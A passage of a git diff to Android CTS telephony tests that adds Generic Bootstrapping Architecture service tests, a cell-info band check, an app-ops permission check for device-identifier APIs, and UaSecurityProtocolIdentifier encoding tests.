+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telephony.gba.GbaService"/>
+ </intent-filter>
+ </service>
+
<activity android:name="android.telephony.cts.StubDialerActvity"
android:exported="true">
<intent-filter>
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index e32b9f8..d43837f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -16,6 +16,8 @@
package android.telephony.cts;
+import static android.app.AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER;
+
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
import static com.google.common.truth.Truth.assertThat;
@@ -30,6 +32,7 @@
import android.Manifest.permission;
import android.annotation.NonNull;
+import android.app.AppOpsManager;
import android.app.UiAutomation;
import android.bluetooth.BluetoothAdapter;
import android.content.BroadcastReceiver;
@@ -58,6 +61,9 @@
import android.telephony.CallQuality;
import android.telephony.CarrierBandwidth;
import android.telephony.CarrierConfigManager;
+import android.telephony.CellIdentity;
+import android.telephony.CellIdentityLte;
+import android.telephony.CellIdentityNr;
import android.telephony.CellInfo;
import android.telephony.CellLocation;
import android.telephony.DataThrottlingRequest;
@@ -182,6 +188,7 @@
private static final String TESTING_PLMN = "12345";
private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
+ private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
static {
@@ -582,6 +589,20 @@
mTelephonyManager.getDefaultRespondViaMessageApplication();
ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
TelephonyManager::getAndUpdateDefaultRespondViaMessageApplication);
+
+ // Verify getImei/getSubscriberId/getIccAuthentication:
+ // With app ops permision USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, should not throw
+ // SecurityException.
+ try {
+ setAppOpsPermissionAllowed(true, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+
+ mTelephonyManager.getImei();
+ mTelephonyManager.getSubscriberId();
+ mTelephonyManager.getIccAuthentication(
+ TelephonyManager.APPTYPE_USIM, TelephonyManager.AUTHTYPE_EAP_AKA, "");
+ } finally {
+ setAppOpsPermissionAllowed(false, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+ }
}
@Test
@@ -3355,6 +3376,40 @@
assertFalse(mTelephonyManager.isRadioInterfaceCapabilitySupported(""));
}
+ @Test
+ public void testGetAllCellInfo() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) return;
+
+ // For IRadio <1.5, just verify that calling the method doesn't throw an error.
+ if (mRadioVersion < RADIO_HAL_VERSION_1_5) {
+ mTelephonyManager.getAllCellInfo();
+ return;
+ }
+
+ for (CellInfo cellInfo : mTelephonyManager.getAllCellInfo()) {
+ CellIdentity cellIdentity = cellInfo.getCellIdentity();
+ int[] bands;
+ if (cellIdentity instanceof CellIdentityLte) {
+ bands = ((CellIdentityLte) cellIdentity).getBands();
+ for (int band : bands) {
+ assertTrue(band >= AccessNetworkConstants.EutranBand.BAND_1
+ && band <= AccessNetworkConstants.EutranBand.BAND_88);
+ }
+ } else if (cellIdentity instanceof CellIdentityNr) {
+ bands = ((CellIdentityNr) cellIdentity).getBands();
+ for (int band : bands) {
+ assertTrue((band >= AccessNetworkConstants.NgranBands.BAND_1
+ && band <= AccessNetworkConstants.NgranBands.BAND_95)
+ || (band >= AccessNetworkConstants.NgranBands.BAND_257
+ && band <= AccessNetworkConstants.NgranBands.BAND_261));
+ }
+ } else {
+ continue;
+ }
+ assertTrue(bands.length > 0);
+ }
+ }
+
/**
* Validate Emergency Number address that only contains the dialable character.
*
@@ -3682,5 +3737,12 @@
}
}
}
+
+ private void setAppOpsPermissionAllowed(boolean allowed, String op) {
+ AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+ int mode = allowed ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(op);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ appOpsManager, (appOps) -> appOps.setUidMode(op, Process.myUid(), mode));
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
new file mode 100644
index 0000000..64a1538
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
@@ -0,0 +1,337 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.AsyncTask;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Random;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+@RunWith(AndroidJUnit4.class)
+public final class GbaServiceTest {
+
+ private static final String TAG = "GbaServiceTest";
+
+ private static final String COMMAND_UPDATE_PACKAGE = "cmd phone gba set-service ";
+ private static final String COMMAND_UPDATE_RELEASE = "cmd phone gba set-release ";
+ private static final String COMMAND_GET_PACKAGE = "cmd phone gba get-service";
+ private static final String COMMAND_GET_RELEASE = "cmd phone gba get-release";
+ private static final String SERVICE_PACKAGE = "android.telephony.cts";
+ private static final String NAF = "3GPP-bootstrapping@naf1.operator.com";
+ private static final String BTID = "(B-TID)";
+ private static final int REQ_TIMEOUT = 5000;
+ private static final int RELEASE_DEFAULT = 0;
+ private static final int RELEASE_TEST_MS = 15 * 1000;
+ private static final int RELEASE_NEVER = -1;
+
+ private static int sSubId;
+ private static Instrumentation sInstrumentation;
+ private static TelephonyManager sTm;
+ private static TestGbaConfig sConfig;
+ private static String sServiceConfig;
+ private static int sReleaseTimeConfig;
+
+ @BeforeClass
+ public static void init() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ sConfig = TestGbaConfig.getInstance();
+ sInstrumentation = InstrumentationRegistry.getInstrumentation();
+ sTm = sInstrumentation.getContext().getSystemService(TelephonyManager.class);
+ sServiceConfig = TelephonyUtils.executeShellCommand(
+ sInstrumentation, COMMAND_GET_PACKAGE);
+ sReleaseTimeConfig = Integer.parseInt(TelephonyUtils.executeShellCommand(
+ sInstrumentation, COMMAND_GET_RELEASE));
+ }
+
+ @AfterClass
+ public static void release() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ setService(sServiceConfig);
+ setReleaseTime(sReleaseTimeConfig);
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ setService(SERVICE_PACKAGE);
+ setReleaseTime(RELEASE_DEFAULT);
+ }
+
+ @Test (expected = SecurityException.class)
+ public void testPermissions() {
+ if (!isFeatureSupported()) {
+ throw new SecurityException("Feaure is not supported");
+ }
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+ android.Manifest.permission.READ_PHONE_STATE);
+ }
+
+ @Test
+ public void testAuthSuccess() {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ Random rand = new Random();
+
+ for (int i = 0; i < 20; i++) {
+ Log.d(TAG, "testAuthSuccess[" + i + "]");
+ byte[] key = new byte[16];
+ rand.nextBytes(key);
+ sConfig.setConfig(true, key, BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+ final AtomicBoolean isSuccess = new AtomicBoolean(false);
+ final AtomicBoolean isFail = new AtomicBoolean(false);
+ TelephonyManager.BootstrapAuthenticationCallback cb = new
+ TelephonyManager.BootstrapAuthenticationCallback() {
+ @Override
+ public void onKeysAvailable(byte[] gbaKey, String btId) {
+ assertNotNull(gbaKey);
+ assertNotNull(btId);
+ assertArrayEquals(key, gbaKey);
+ assertEquals(BTID, btId);
+ synchronized (isSuccess) {
+ isSuccess.set(true);
+ isSuccess.notify();
+ }
+ }
+
+ @Override
+ public void onAuthenticationFailure(int reason) {
+ synchronized (isSuccess) {
+ isFail.set(true);
+ isSuccess.notify();
+ }
+ }
+ };
+ UaSecurityProtocolIdentifier.Builder builder =
+ new UaSecurityProtocolIdentifier.Builder();
+ builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+ (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+ Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb),
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+ waitForMs(isSuccess, REQ_TIMEOUT);
+
+ assertTrue(isSuccess.get());
+ assertFalse(isFail.get());
+ }
+ }
+
+ @Test
+ public void testGbaNotSupported() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ setService("");
+ sConfig.setConfig(true, new byte[16], BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+
+ assertTrue(setService(SERVICE_PACKAGE));
+ }
+
+ @Test
+ public void testAuthFail() {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ for (int r = TelephonyManager.GBA_FAILURE_REASON_UNKNOWN;
+ r <= TelephonyManager.GBA_FAILURE_REASON_SECURITY_PROTOCOL_NOT_SUPPORTED; r++) {
+ sConfig.setConfig(false, new byte[16], BTID, r);
+ runGbaFailCase(r, android.Manifest.permission.MODIFY_PHONE_STATE);
+ }
+ }
+
+ private void runGbaFailCase(int r, String permission) {
+ final AtomicBoolean isSuccess = new AtomicBoolean(false);
+ final AtomicBoolean isFail = new AtomicBoolean(false);
+ TelephonyManager.BootstrapAuthenticationCallback cb = new
+ TelephonyManager.BootstrapAuthenticationCallback() {
+ @Override
+ public void onKeysAvailable(byte[] gbaKey, String btId) {
+ synchronized (isFail) {
+ isSuccess.set(true);
+ isFail.notify();
+ }
+ }
+
+ @Override
+ public void onAuthenticationFailure(int reason) {
+ assertEquals(reason, r);
+ synchronized (isFail) {
+ isFail.set(true);
+ isFail.notify();
+ }
+ }
+ };
+ UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+ builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+ (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+ Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb), permission);
+ waitForMs(isFail, REQ_TIMEOUT);
+
+ assertTrue(isFail.get());
+ assertFalse(isSuccess.get());
+ }
+
+ @Test
+ public void testServiceReleaseDefault() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ int ss = sConfig.getServiceState();
+ boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+ || ss == TestGbaConfig.STATE_REMOVED
+ || ss == TestGbaConfig.STATE_UNBOUND);
+ assertTrue(isExpected);
+ sConfig.setConfig(false, new byte[16], BTID,
+ TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+ waitForMs(sConfig, 500);
+
+ assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+ }
+
+ @Test
+ public void testServiceReleaseDuration() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ int ss = sConfig.getServiceState();
+ boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+ || ss == TestGbaConfig.STATE_REMOVED
+ || ss == TestGbaConfig.STATE_UNBOUND);
+ assertTrue(isExpected);
+ sConfig.setConfig(false, new byte[16], BTID,
+ TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+ assertTrue(setReleaseTime(RELEASE_TEST_MS));
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+
+ waitForMs(sConfig, 500);
+ assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+
+ waitForMs(sConfig, RELEASE_TEST_MS);
+ assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+ }
+
+ @Test
+ public void testServiceNoRelease() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ int ss = sConfig.getServiceState();
+ boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+ || ss == TestGbaConfig.STATE_REMOVED
+ || ss == TestGbaConfig.STATE_UNBOUND);
+ assertTrue(isExpected);
+ sConfig.setConfig(false, new byte[16], BTID,
+ TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+ assertTrue(setReleaseTime(RELEASE_NEVER));
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+ waitForMs(sConfig, 2 * RELEASE_TEST_MS);
+
+ assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+ }
+
+ public static void waitForMs(Object obj, long ms) {
+ synchronized (obj) {
+ try {
+ obj.wait(ms);
+ } catch (InterruptedException e) {
+ Log.d(TAG, "InterruptedException while waiting: " + e);
+ }
+ }
+ }
+
+ private static boolean setService(String packageName) throws Exception {
+ String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+ COMMAND_UPDATE_PACKAGE + packageName);
+ return "true".equals(result);
+ }
+
+ private static boolean setReleaseTime(int interval) throws Exception {
+ String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+ COMMAND_UPDATE_RELEASE + interval);
+ return "true".equals(result);
+ }
+
+ private static boolean isFeatureSupported() {
+ if (!InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY)) {
+ return false;
+ }
+ int[] activeSubs = InstrumentationRegistry.getContext().getSystemService(
+ SubscriptionManager.class).getActiveSubscriptionIdList();
+ if (activeSubs.length == 0) {
+ return false;
+ }
+ sSubId = activeSubs[0];
+ return true;
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
new file mode 100644
index 0000000..33d1a83
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+final class TestGbaConfig {
+
+ static final int STATE_UNKNOWN = 0;
+ static final int STATE_CREATED = 1;
+ static final int STATE_BOUND = 2;
+ static final int STATE_UNBOUND = 3;
+ static final int STATE_REMOVED = 4;
+
+ private boolean mIsAuthSuccess;
+ private byte[] mGbaKey;
+ private String mBTid;
+ private int mFailReason;
+ private int mServiceState;
+
+ private static TestGbaConfig sInstance;
+
+ private TestGbaConfig() {
+ }
+
+ static TestGbaConfig getInstance() {
+ if (sInstance == null) {
+ sInstance = new TestGbaConfig();
+ }
+ return sInstance;
+ }
+
+ void setConfig(boolean success, byte[] key, String id, int reason) {
+ synchronized (this) {
+ mIsAuthSuccess = success;
+ mGbaKey = key;
+ mBTid = id;
+ mFailReason = reason;
+ }
+ }
+
+ boolean isAuthSuccess() {
+ synchronized (this) {
+ return mIsAuthSuccess;
+ }
+ }
+
+ byte[] getGbaKey() {
+ synchronized (this) {
+ return mGbaKey;
+ }
+ }
+
+ String getBTid() {
+ synchronized (this) {
+ return mBTid;
+ }
+ }
+
+ int getFailReason() {
+ synchronized (this) {
+ return mFailReason;
+ }
+ }
+
+ void setServiceState(int state) {
+ synchronized (this) {
+ mServiceState = state;
+ this.notify();
+ }
+ }
+
+ int getServiceState() {
+ synchronized (this) {
+ return mServiceState;
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
new file mode 100644
index 0000000..702f757
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import android.annotation.NonNull;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.IBinder;
+import android.telephony.gba.GbaService;
+import android.util.Log;
+
+public class TestGbaService extends GbaService {
+
+ private static final String TAG = "TestGbaService";
+
+ private TestGbaConfig mConfig;
+
+ @Override
+ public void onCreate() {
+ Log.i(TAG, "Service created");
+ mConfig = TestGbaConfig.getInstance();
+ mConfig.setServiceState(TestGbaConfig.STATE_CREATED);
+ }
+
+ @Override
+ public void onAuthenticationRequest(int subId, int token, int appType,
+ @NonNull Uri nafUrl, @NonNull byte[] securityProtocol, boolean forceBootStrapping) {
+ boolean isSuccess = mConfig.isAuthSuccess();
+ int reason = mConfig.getFailReason();
+ byte[] key = mConfig.getGbaKey();
+ String btid = mConfig.getBTid();
+
+ if (isSuccess) {
+ reportKeysAvailable(token, key, btid);
+ } else {
+ reportAuthenticationFailure(token, reason);
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ Log.d(TAG, "onBind intent:" + intent);
+ mConfig.setServiceState(TestGbaConfig.STATE_BOUND);
+ return super.onBind(intent);
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ Log.d(TAG, "onUnbind intent:" + intent);
+ mConfig.setServiceState(TestGbaConfig.STATE_UNBOUND);
+ return super.onUnbind(intent);
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(TAG, "onDestroy!");
+ mConfig.setServiceState(TestGbaConfig.STATE_REMOVED);
+ super.onDestroy();
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
new file mode 100644
index 0000000..ae1b0fd
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.gba.TlsParams;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Random;
+
+@RunWith(AndroidJUnit4.class)
+public final class UaSecurityProtocolIdentifierTest {
+ private static final String TAG = "UaSecurityProtocolIdentifierTest";
+ private static final int PROTO_SIZE = 5;
+ private static final byte[] PROTO_DEFAULT = {0x00, 0x00, 0x00, 0x00, 0x00};
+ private static final int[] PROTO_3GPP_PLAIN_ID = {
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SUBSCRIBER_CERTIFICATE,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_MBMS,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_DIGEST_AUTHENTICATION,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SIP_BASED_MBMS,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERIC_PUSH_LAYER,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_IMS_MEDIA_PLANE,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERATION_TMPI};
+ private static final byte[][] PROTO_3GPP_PLAIN = {
+ {0x01, 0x00, 0x00, 0x00, 0x00},
+ {0x01, 0x00, 0x00, 0x00, 0x01},
+ {0x01, 0x00, 0x00, 0x00, 0x02},
+ {0x01, 0x00, 0x00, 0x00, 0x03},
+ {0x01, 0x00, 0x00, 0x00, 0x04},
+ {0x01, 0x00, 0x00, 0x00, 0x05},
+ {0x01, 0x00, 0x00, 0x00, 0x06},
+ {0x01, 0x00, 0x00, 0x01, 0x00}};
+ private static final int[] PROTO_3GPP_TLS_ID = {
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_DEFAULT,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_BROWSER};
+ private static final byte[][] PROTO_3GPP_TLS = {
+ {0x01, 0x00, 0x01, 0x00, 0x00},
+ {0x01, 0x00, 0x02, 0x00, 0x00}};
+
+ private static final int[] TLS_CS_ID_SUPPORTED = {
+ 0x0000, 0x0001, 0x0002, 0x0004, 0x0005, 0x000A, 0x000D, 0x0010, 0x0013, 0x0016, 0x0018,
+ 0x001B, 0x002F, 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x0037, 0x0038,
+ 0x0039, 0x003A, 0x003B, 0x003C, 0x003D, 0x003E, 0x003F, 0x0040, 0x0067, 0x0068, 0x0069,
+ 0x006A, 0x006B, 0x006C, 0x006D, 0x009E, 0x009F, 0x00AA, 0x00AB, 0x1301, 0x1302, 0x1303,
+ 0x1304, 0xC02B, 0xC02C, 0xC02F, 0xC030, 0xC09E, 0xC09F, 0xC0A6, 0xC0A7, 0xCCA8, 0xCCA9,
+ 0xCCAA, 0xCCAC, 0xCCAD, 0xD001, 0xD002, 0xD005};
+
+ @Test
+ public void testDefaultId() {
+ UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+ UaSecurityProtocolIdentifier sp = builder.build();
+ assertNotNull(sp);
+ assertEquals(UaSecurityProtocolIdentifier.ORG_NONE, sp.getOrg());
+ assertArrayEquals(sp.toByteArray(), PROTO_DEFAULT);
+ }
+
+ @Test
+ public void testValid3gppId() {
+ for (int i = 0; i < PROTO_3GPP_PLAIN_ID.length; i++) {
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ PROTO_3GPP_PLAIN_ID[i], null, false);
+ assertNotNull(sp);
+ assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+ assertEquals(PROTO_3GPP_PLAIN_ID[i], sp.getProtocol());
+ assertEquals(0, sp.getTlsCipherSuite());
+ assertArrayEquals(sp.toByteArray(), PROTO_3GPP_PLAIN[i]);
+ }
+ }
+
+ @Test
+ public void testValid3gppIdWithTls() {
+ for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+ for (int j = 0; j < TLS_CS_ID_SUPPORTED.length; j++) {
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ PROTO_3GPP_TLS_ID[i], TLS_CS_ID_SUPPORTED[j], false);
+ assertNotNull(sp);
+ assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+ assertEquals(PROTO_3GPP_TLS_ID[i], sp.getProtocol());
+ assertEquals(TLS_CS_ID_SUPPORTED[j], sp.getTlsCipherSuite());
+ byte[] targetData = new byte[PROTO_SIZE];
+ ByteBuffer buf = ByteBuffer.wrap(targetData);
+ buf.put(PROTO_3GPP_TLS[i]);
+ buf.putShort(PROTO_SIZE - 2, (short) TLS_CS_ID_SUPPORTED[j]);
+ assertArrayEquals(targetData, sp.toByteArray());
+ }
+ }
+ }
+
+ @Test
+ public void testInvalidId() {
+ Random rand = new Random();
+ HashSet<Integer> validIds = new HashSet<>();
+ for (int id : PROTO_3GPP_PLAIN_ID) {
+ validIds.add(id);
+ }
+ for (int id : PROTO_3GPP_TLS_ID) {
+ validIds.add(id);
+ }
+ for (int i = 0; i < 200; i++) {
+ int r = rand.nextInt();
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ r, TlsParams.TLS_NULL_WITH_NULL_NULL, !validIds.contains(r));
+ }
+ }
+
+ @Test
+ public void testInvalid3gppIdWithTls() {
+ Random rand = new Random();
+ for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+ for (int j = 0; j < 200; j++) {
+ int r = rand.nextInt(Integer.MAX_VALUE);
+ int index = Arrays.binarySearch(TLS_CS_ID_SUPPORTED, r);
+ boolean isFailExpected = index < 0;
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ PROTO_3GPP_TLS_ID[i], r, isFailExpected);
+ }
+ }
+ }
+
+ @Test
+ public void testParcelUnparcel() {
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ PROTO_3GPP_TLS_ID[0], TLS_CS_ID_SUPPORTED[0], false);
+ Parcel parcel = Parcel.obtain();
+ sp.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ UaSecurityProtocolIdentifier sp2 =
+ UaSecurityProtocolIdentifier.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+ assertTrue(sp.equals(sp2));
+ }
+
+ @Test
+ public void testIsTlsCipherSuiteSupported() {
+ Random rand = new Random();
+
+ for (int i = 0; i < TLS_CS_ID_SUPPORTED.length; i++) {
+ assertTrue(TlsParams.isTlsCipherSuiteSupported(TLS_CS_ID_SUPPORTED[i]));
+ }
+
+ for (int i = 0; i < 100; i++) {
+ int val = rand.nextInt();
+ if (Arrays.binarySearch(TLS_CS_ID_SUPPORTED, val) < 0) {
+ assertFalse(TlsParams.isTlsCipherSuiteSupported(val));
+ }
+ }
+ }
+
+ private UaSecurityProtocolIdentifier testCreate3GppSpId(
+ Integer id, Integer cs, boolean nullExpected) {
+ boolean isFail = false;
+ UaSecurityProtocolIdentifier sp = null;
+ UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+ builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP);
+ try {
+ if (id != null) {
+ builder.setProtocol(id);
+ }
+ if (cs != null) {
+ builder.setTlsCipherSuite(cs);
+ }
+ sp = builder.build();
+ } catch (IllegalArgumentException e) {
+ }
+ if (nullExpected) {
+ assertNull(sp);
+ } else {
+ assertNotNull(sp);
+ }
+ return sp;
+ }
+
+ private String getRandomString(Random rand) {
+ int size = rand.nextInt(64);
+ byte[] arr = new byte[size];
+ rand.nextBytes(arr);
+ return new String(arr);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index e691e51..bf45867 100644
